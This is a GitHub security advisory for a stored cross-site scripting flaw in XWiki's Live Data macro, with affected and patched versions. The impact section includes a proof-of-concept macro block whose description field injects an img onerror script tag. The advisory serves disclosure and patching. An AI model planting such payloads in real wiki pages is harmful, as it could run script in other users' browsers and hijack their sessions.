Loading HuntDB...

GHSA-hmm7-6ph9-8jf2

GitHub Security Advisory

org.xwiki.platform:xwiki-platform-livedata-macro vulnerable to Basic Cross-site Scripting

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

### Impact
A user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.

For instance, by adding the LiveData below in the about section of the profile of a user created by an admin.

```javascript
{{liveData id="movies" properties="title,description"}}
{
"data": {
"count": 1,
"entries": [
{
"title": "Meet John Doe",
"url": "https://www.imdb.com/title/tt0033891/",
"description": "<img onerror='alert(1)' src='foo' />"
}
]
},
"meta": {
"propertyDescriptors": [
{
"id": "title",
"name": "Title",
"visible": true,
"displayer": {"id": "link", "propertyHref": "url"}
},
{
"id": "description",
"name": "Description",
"visible": true,
"displayer": "html"
}
]
}
}
{{/liveData}}
```

### Patches
This has been patched in XWiki 14.10, 14.4.7, and 13.10.11.

### Workarounds
No known workaround.

### References
- https://jira.xwiki.org/browse/XWIKI-20312

### For more information
If you have any questions or comments about this advisory:

* Open an issue in [Jira](http://jira.xwiki.org/)
* Email us at [Security ML](mailto:[email protected])

Affected Packages

Maven org.xwiki.platform:xwiki-platform-livedata-macro
Affected versions: 13.10.10 (fixed in 13.10.11)
Maven org.xwiki.platform:xwiki-platform-livedata-macro
Affected versions: 14.4 (fixed in 14.4.7)
Maven org.xwiki.platform:xwiki-platform-livedata-macro
Affected versions: 14.9 (fixed in 14.10)

Related CVEs

Key Information

GHSA ID
GHSA-hmm7-6ph9-8jf2
Published
April 12, 2023 8:36 PM
Last Modified
February 6, 2025 8:02 PM
CVSS Score
7.5 /10
Primary Ecosystem
Maven
Primary Package
org.xwiki.platform:xwiki-platform-livedata-macro
GitHub Reviewed
✓ Yes

Dataset

Last updated: September 23, 2025 6:31 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.